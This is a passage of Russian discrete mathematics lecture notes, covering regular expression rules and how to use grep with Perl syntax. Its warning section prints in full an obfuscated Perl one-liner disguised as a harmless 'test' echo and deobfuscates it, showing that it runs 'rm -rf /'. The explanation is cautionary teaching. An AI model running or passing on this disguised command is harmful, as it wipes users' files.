- •Русаков Алексей Михайлович
- •Лекции по дисциплине «Дискретная математика»
- •Введение.
- •Теория множеств.
- •Понятие множества. Операции над множествами.
- •Определение.
- •Определение.
- •Определение.
- •Пример.
- •Свойства операций сложения и пересечения множеств.
- •Определение.
- •Замечание.
- •Примеры.
- •Счётные множества. Теорема Кантора.
- •Определение.
- •Примеры счётных множеств.
- •Замечания.
- •Теорема.
- •Доказательство:
- •Задачи для самостоятельного решения.
- •Решите задачи № 1.30 1.39 с использованием диаграммы Эйлера-Венна.
- •Бинарные отношения в теории графов.
- •Например:
- •Матрицы смежности и инцидентности.
- •Пример.
- •Маршруты, цепи и простые цепи.
- •Определение
- •Расстояние и протяжённость в графе.
- •Деревья.
- •Примеры:
- •Например:
- •Помеченные графы. Перечисление помеченных деревьев.
- •Пример:
- •Теорема Келли.
- •Задача о кратчайшем соединении.
- •Задача о кратчайших путях.
- •Эйлеровы цепи, критерий Эйлеровости. Задача о Кёнигсбергских мостах.
- •Доказательство:
- •Достаточность.
- •Индуктивный переход.
- •Гамильтовы циклы.
- •Пример:
- •Примеры задач и упражнений.
- •Решение.
- •Задачи для самостоятельного решения.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение группы.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение и способы описания формальных грамматик.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Теория автоматов.
- •Основные понятия теории автоматов.
- •Определение.
- •Способы задания автоматов. Таблица переходов.
- •Определение.
- •Определение.
- •Способы задания автоматов. Граф автомата.
- •Определение.
- •Способы задания автоматов. Матрица переходов и выходов. Определение.
- •Машины Тьюринга и конечные автоматы. Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Машины Тьюринга с двумя выходами.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Автоматы с магазинной памятью и бесконтекстные языки.
- •Определение.
- •Определение.
- •Модель дискретного преобразователя Глушкова в. М. Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Понятие об абстрактном автомате и индуцируемом им отображении. Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Определение.
- •Автоматные отображения и события. Определение.
- •Определение.
- •Определение.
- •Определение.
- •Теорема.
- •Регулярные языки и конечные автоматы. Определение.
- •Определение.
- •Определение.
- •Определение.
- •Правила подчинения мест в регулярных выражениях.
- •Определение.
- •Определение.
- •Правила построения основного алгоритма синтеза конечных автоматов.
- •Пример.
- •Автомат Мили.
- •Определение.
- •Определение.
- •Автомат Мура.
- •Определение.
- •Определение.
- •Теория булевых функций.
- •Связь булевых функций и схем из функциональных элементов и контактных схем. Определение.
- •Замечания.
- •Теорема.
- •Доказательство:
- •Замечание.
- •Теорема. (Формулы разложения Клода Шеннона.)
- •Доказательство:
- •Замечания.
- •Основные свойства булевых функций. Замечание.
- •Определение.
- •Примеры задач и упражнений. Пример 1
- •Доказательство
- •Задачи для самостоятельного решения.
- •Элементы комбинаторики.
- •Основные понятия комбинаторики. Определение.
- •Определение.
- •Доказательство.
- •Теорема – правило включения-исключения.
- •Доказательство.
- •Доказательство.
- •8.2. Формулировка задания.
- •Определение.
- •Пример.
- •Переходы можно представить также с помощью таблицы и схематически:
- •Определение.
- •Последовательность выполнения.
- •Методический пример.
- •Контрольная распечатка.
- •Замечания.
- •Отчет по практической работе.
- •Контрольные вопросы
- •Варианты заданий.
- •Домашняя работа №1. По всей теории
- •Домашняя работа №2. Способы задания графов
- •8.03.2. Правила регулярного выражения.
- •Установка необходимого программного обеспечения.
- •Замечания.
- •Методический пример.
- •Контрольная распечатка.
- •Отчет по практической работе.
- •Контрольные вопросы.
- •Варианты заданий.
- •Дополнительные материалы.
- •Биография Георга Кантора (основатель теории множеств).
- •Город Калининград (Кёнигсберг).
- •Список литературы.
8.03.2. Правила регулярного выражения.
-
Любой символ обозначает себя самого, если это не метасимвол. Если вам нужно отменить действие метасимвола, то поставьте перед ним “\”.
-
Строка символов обозначает строку этих символов.
-
Множество возможных символов (класс) заключается в квадратные скобки [], это значит, что в данном месте может стоять один из указанных в скобках символов. Если первый символ в скобках это “^” — значит ни один из указанных символов не может стоять в данном месте выражения. Внутри класса можно употреблять символ “-”, обозначающий диапазон символов. Например, a-z — один из малых букв латинского алфавита, 0-9 — цифра.
-
Все символы, включая специальные, можно обозначать с помощью “\” как в языке С.
-
Альтернативные последовательности разделяются символом “|” Заметьте что внутри квадратных скобок это обычный символ.
-
Внутри регулярного выражения можно указывать “подшаблоны”, заключая их в круглые скобки и ссылаться на них как “\ номер”. Первая скобка обозначается как “\ 1”.
-
Установка необходимого программного обеспечения.
Для выполнения практического задания достаточно использовать фильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).
grep — утилита командной строки, которая находит на вводе строки, отвечающие заданному регулярному выражению, и выводит их, если вывод не отменён специальным ключом. Название представляет собой акроним английской фразы «search globally for lines matching the regular expression, and print them» — «искать везде строки, соответствующие регулярному выражению, и выводить их».
Изначально была создана для операционной системы UNIX, и поэтому для Linux подобных операционных систем команда grep присутствует по умолчанию.
Пользователям Windows можно загрузить интерпретатор PERL (http://www.perl.org/get.html), также существует portable версия, которая не требует установки.
Наиболее простым и безопасным вариантом является использование портированной под windows утилиты grep из UnixUtils (http://rusakovam.narod.ru/lec/dm/lit/grep.exe). Далее, можно скопировать grep.exe в каталог Windows, тогда эта утилита будет запускаться также как и под LINUX, то есть в обычном для неё синтаксисе.
Команда поиска регулярного выражения в файле имеет синтаксис:
grep -Pr "RegExp" File,
где –Pr означает использовать синтаксис PERL рекурсивно;
RegExp – это регулярное выражение;
File – полный путь к файлу;
-
Замечания.
Будьте осторожны, необдуманные эксперименты с регулярными выражениями могут привести к печальным последствиям.
Одним из таких примеров является вызвавшая большой резонанс программа, так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности.
То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.